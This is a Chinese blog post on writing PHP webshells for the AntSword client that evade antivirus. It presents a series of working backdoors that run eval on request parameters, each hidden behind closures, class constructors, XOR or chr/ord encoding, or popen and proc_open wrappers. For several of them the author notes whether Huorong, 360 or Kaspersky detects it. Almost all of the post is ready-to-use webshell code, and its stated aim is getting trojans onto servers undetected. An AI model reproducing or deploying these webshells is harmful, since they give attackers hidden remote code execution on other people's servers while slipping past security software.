蚁剑编码器编写——php木马免杀

蚁剑编码器编写------php木马免杀

我的想法是 木马要先免杀,能够落地,再去考虑流量层面的问题

举几个例子演示一下

命令执行与代码执行是有比较大的区别,蚁剑执行的是php代码,而system,proc_open,passthru,exec,shell_exec,反引号等都是命令执行,举个例子

c 复制代码
<?php eval($_REQUEST["a"]);?> //蚁剑可以连接成功,但是无法直接拼接执行命令
<?php passthru($_REQUEST["a"]);?>//蚁剑会显示数据为空,但是可以拼接执行命令

而能够执行多行php代码的函数也就只有eval,无论蚁剑还是godzilla,都是通过代码执行进而命令执行,所以你会看到所有的明文马儿里面都是有eval函数的,那么也就是说eval函数是无法替换的

那么就会有两个方面,加密再解密eval函数,更改eval写法

更改eval写法,举个例子

c 复制代码
<?php eval("/*echo*/".$_REQUEST["a"]);?>

或者

c 复制代码
<?php eval($_REQUEST["a"]."#aaa");?>

也是可以的。eval本身是支持字符串连接的

当然了,这已经不免杀了,那么加解密再来一下,

base64

c 复制代码
<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>

死在火绒手里

那么再加一个参数

c 复制代码
<?php eval(base64_decode(base64_encode($_REQUEST["a"])).$_REQUEST["b"]."#aaa");?>

又死了

加个条件判断

c 复制代码
<?php 
 if($_REQUEST["b"]=null){
     eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");
 }else{
     echo $_REQUEST["b"];
 }
?>

继续

c 复制代码
<?php
$code='$a;';
 $func=function ($a) use ($code){
     return eval($code);
 };
 echo $func(eval($_REQUEST["a"]))

?>

又死在火绒的刀下

多加一层

c 复制代码
<?php
function a($b){
    return function ($c) use($b){
        return eval($c);
    };
}
$d=a('aaa');
echo $d(eval($_REQUEST["a"]))
?>

火绒的刀不太硬啊

魔术方法

c 复制代码
<?php
class test {
    public function __construct($b = null) {
        if ($b !== null) {
            eval($b);
        }
    }
}
$b=$_REQUEST["a"];
$test = new Test($b);
?>

当然了,360的刀到目前来说还是挺硬的

来个简单的加解密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];


$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo eval($decryptedData);
?>

也不行,那我加个@

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];


$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

这也是成功拿下,当然了,你们要是把之前的马儿也加个@,或许有奇效

继续绕一下卡巴斯基

外面一层用其他函数替代

c 复制代码
<?php
$a="aaaa";
$a=$_REQUEST["a"];
$handle = popen(@eval($a), 'r');
if ($handle) {
    while (!feof($handle)) {
        $buffer = fgets($handle);
        echo $buffer;
    }
    pclose($handle);
}

那再换一个

c 复制代码
<?php
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);

if (is_resource($process)) {
    $stdout = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    fclose($pipes[0]);
    echo "$stdout";
    $return_value = proc_close($process);

}

擦擦擦 竟然被360杀了,加解密一次

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);

$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);

if (is_resource($process)) {
    $stdout = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    fclose($pipes[0]);
    echo "$stdout";
    $return_value = proc_close($process);

}

也是成功拿下,当然了,多写几个加密套在一起都可以免杀

chr配合ord加解密

c 复制代码
<?php
function simpleTransform($str, $offset = 1) {
    $transformed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $transformed .= chr((ord($str[$i]) + $offset) % 256);
    }
    return $transformed;
}

$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}

$reversed = reverseTransform($transformed, 3);
echo eval($reversed);
相关推荐
聊点儿技术1 小时前
利用IP归属地查询识别异地登录风险:企业账号安全的技术探索
数据库·tcp/ip·安全
xixixi777773 小时前
安全嵌入全链路:从模型训练到智能体交互,通信网络是AI安全的“地基”
人工智能·安全·ai·多模态·数据·通信·合规
1941s3 小时前
OpenClaw 每日新玩法 | NanoClaw —— 轻量级、安全的 OpenClaw 替代方案
人工智能·安全·agent·openclaw
Agent产品评测局3 小时前
企业 AI Agent 落地,如何保障数据安全与合规?——企业级智能体安全架构与合规路径深度盘点
人工智能·安全·ai·chatgpt·安全架构
聊点儿技术5 小时前
游戏账号盗用频发,IP风险等级评估如何成为第一道防线?
安全·游戏·ip地址·风险评估·账号安全·ip风险等级评估
marsh02066 小时前
22 openclaw身份认证与授权:构建安全的访问控制
安全·ai·编程·技术
zjeweler6 小时前
web安全-常见源码泄露汇总
安全·web安全
oi..7 小时前
python Get/Post请求练习
开发语言·经验分享·笔记·python·程序人生·安全·网络安全
Irene19917 小时前
JavaScript脚本加载的两种方式:defer/async 的区别
前端·javascript·php
luanma1509807 小时前
PHP vs C#:30字秒懂两大语言核心差异
android·开发语言·python·php·laravel